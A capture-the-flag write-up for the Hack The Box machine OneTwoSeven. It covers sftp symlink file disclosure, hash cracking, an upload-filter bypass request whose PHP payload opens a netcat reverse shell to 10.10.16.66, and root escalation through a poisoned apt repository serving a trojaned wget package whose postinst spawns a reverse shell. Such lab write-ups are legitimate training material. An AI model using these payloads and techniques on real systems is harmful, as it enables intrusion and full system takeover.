HTB - OneTwoSeven

This post is a write-up for the OneTwoSeven box on hackthebox.eu

Enumeration

Start by enumerating the ports on the victim machine. Run Masscan and Nmap, then document the results:

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.133 --max-rate=500
nmap -n -v -Pn -p80 -A --reason -oN onetwoseven_nmap.txt 10.10.10.133

Browse to the website, click on sign-up, and it looks like we are able to connect via sftp:

Once connected, find the public_html folder with read and write permissions. The contents of this folder are published under http://onetwoseven.htb/~ots-XXXXXXXX/. Trying to upload php webshells however yields no results, as you are not allowed to view any files with the .php extension in this folder. Read through the sftp “help” and notice that there is a symlink command available to use. Try to symlink a known file:

sftp> symlink /etc/passwd passwd

When calling “http://onetwoseven.htb/~ots-XXXXXXXX/passwd", you can get the contents of the file displayed:

ots-yODc2NGQ❌999:999:127.0.0.1:/home/web/ots-yODc2NGQ:/bin/false
ots-XXXXXXXX❌1009:1002:10.10.xx.xx:/home/web/ots-XXXXXXXX:/bin/false

Because the web page is written in .php, you can abuse this feature to link the .php files to .html. This should reveal their source code! Since you dont know their directory, just symlink the whole /var/www folder and view the results:

sftp> symlink /var/www www

Download the .login.php.swp file and look at its contents:

...
if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8') {            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {                        $msg = '';          <?php        <h2 class="featurette-heading">Login to the kingdom.
...

Looks like a login page with a username and hash. Profit! Crack the hash with John:

john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt --rules hash.txt

John finds the password Homesweethome1. Looking at the original page again, notice there is a link in the source: "http://onetwoseven.htb:60080/".

After logging in over ssh fails with the credentials (because there is no login shell for the user), I realized that I could still use SSH to forward ports. This should allow you to connect to the port listening on localhost. Use dynamic port forwarding and set a socks upstream proxy in Burp Suite:

ssh -D 9090 -N ots-XXXXXXXX@10.10.10.133

Browse to http://localhost:60080 with Burp Suite Intercept Proxy enabled and get to the login page:

Log into the application with ots-admin:Homesweethome1. Looks like you can run several plugins and a seemingly broken upload form. Every plugin also has a link to download its source. Investigate all the plugins and you should find some useful code in ots-man-addon.php:

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS Addon Manager
switch (true) {
# Upload addon to addons folder.
	case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
		if(isset($_FILES['addon'])){
			$errors= array();
			$file_name = basename($_FILES['addon']['name']);
			$file_size =$_FILES['addon']['size'];
			$file_tmp =$_FILES['addon']['tmp_name'];

			if($file_size > 20000){
				$errors[]='Module too big for addon manager. Please upload manually.';
			}

			if(empty($errors)==true) {
				move_uploaded_file($file_tmp,$file_name);
				header("Location: /menu.php");
				header("Content-Type: text/plain");
				echo "File uploaded successfull.y";
			} else {
				header("Location: /menu.php");
				header("Content-Type: text/plain");
				echo "Error uploading the file: ";
				print_r($errors);
			}
		}
		break;
...

This should allow you to upload files, just have to figure out how to call this.

Several items are required to upload a file:

  • You must be logged in
  • You have to call ots-man-addon.php
  • /addons/ must not be part of the request path
  • addon-upload.php must be part of the request path
  • a file called addon must be in the post body

The following request uploads a custom plugin, and when executed via the browser pops a shell:

POST /addon-download.php?addon=addons/ots-man-addon.php&abc123=/addon-upload.php HTTP/1.1
Host: 127.0.0.1:60080
User-Agent: curl/7.64.0
Accept: */*
Cookie: PHPSESSID=ra85breae1b57tdnmkl4it6go2
Content-Length: 499
Content-Type: multipart/form-data; boundary=------------------------8c1bb633500ccc52
Connection: close

--------------------------8c1bb633500ccc52
Content-Disposition: form-data; name="addon"; filename="/var/www/html/html-admin/addons/ots-abc123.php"
Content-Type: application/octet-stream

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS ABC123
echo shell_exec("nc 10.10.16.66 443 -e /bin/sh");
?>
--------------------------8c1bb633500ccc52

Unfortunately, there is still no user flag, so continue by trying to root the victim machine. Running sudo -l results in the following:

This is an interesting find, run sudo apt-get update and notice the mirrors apt tries to resolve:

So the victim machine is trying pull updates from a custom fqdn packages.onetwoseven.htb. You should be able to trick the victim machine into connecting to a fake repository which contains a fake package, allowing you to get code execution as root. You can redirect the requests from apt-get to your attacking machine simple by specifying a http-proxy:

export http_proxy='http://10.10.xx.xx:10000'  

Setup a fake repo named devuan (because this is the folder the request expects). Use repro to create the repo:

sudo apt-get install reprepro
mkdir devuan
mkdir devuan/conf
touch devuan/conf/distributions
nano devuan/conf/distributions

File distributions:

Origin: packages.onetwoseven.htb
Label: packages.onetwoseven.htb
Codename: ascii
Architectures: i386 amd64 source
Components: main
Description: abc123

Create a fake debian package that will perform code execution. Verasprite has a nice guide that explains the process in detail. Look at the victim machine, and pick any of the packages that are installed:

Download the current version of the package and extract it:

wget  http://ftp.debian.org/debian/pool/main/w/wget/wget_1.18-5+deb9u3_amd64.deb
dpkg-deb -R wget_1.18-5+deb9u3_amd64.deb wget_out

To perform code execution, add a simple post install script that connects back to your attacking machine in wget_out/DEBIAN/postinst:

nc 10.10.16.66 80 -e /bin/sh

Edit wget_out/DEBIAN/control and update the version to something newer, in this case 1.18-6+deb9u3:

Package up your .deb and add it to the repository:

Now you have to redirect apt requests to your attacking machine. Setup Burp Suite to listen on 10.10.16.66:10000 and use the redirect traffic proxy listener option to send all traffic to 127.0.0.1:8000, where you have a python web server running that serves your evil repo.

Trigger the exploit:

sudo apt-get update
sudo apt-get upgrade

On ugrade you should get a verification warning (because your package is not authenticated, obviously) which you can just happily accept the warning. Who actually reads the warnings anyway? After the install is finished it should pop a root shell:

Since I didn't waste time trying to find a user flag, in the root shell just run cat /srv/chroot/apache/home/web/ots-yODc2NGQ/user.txt.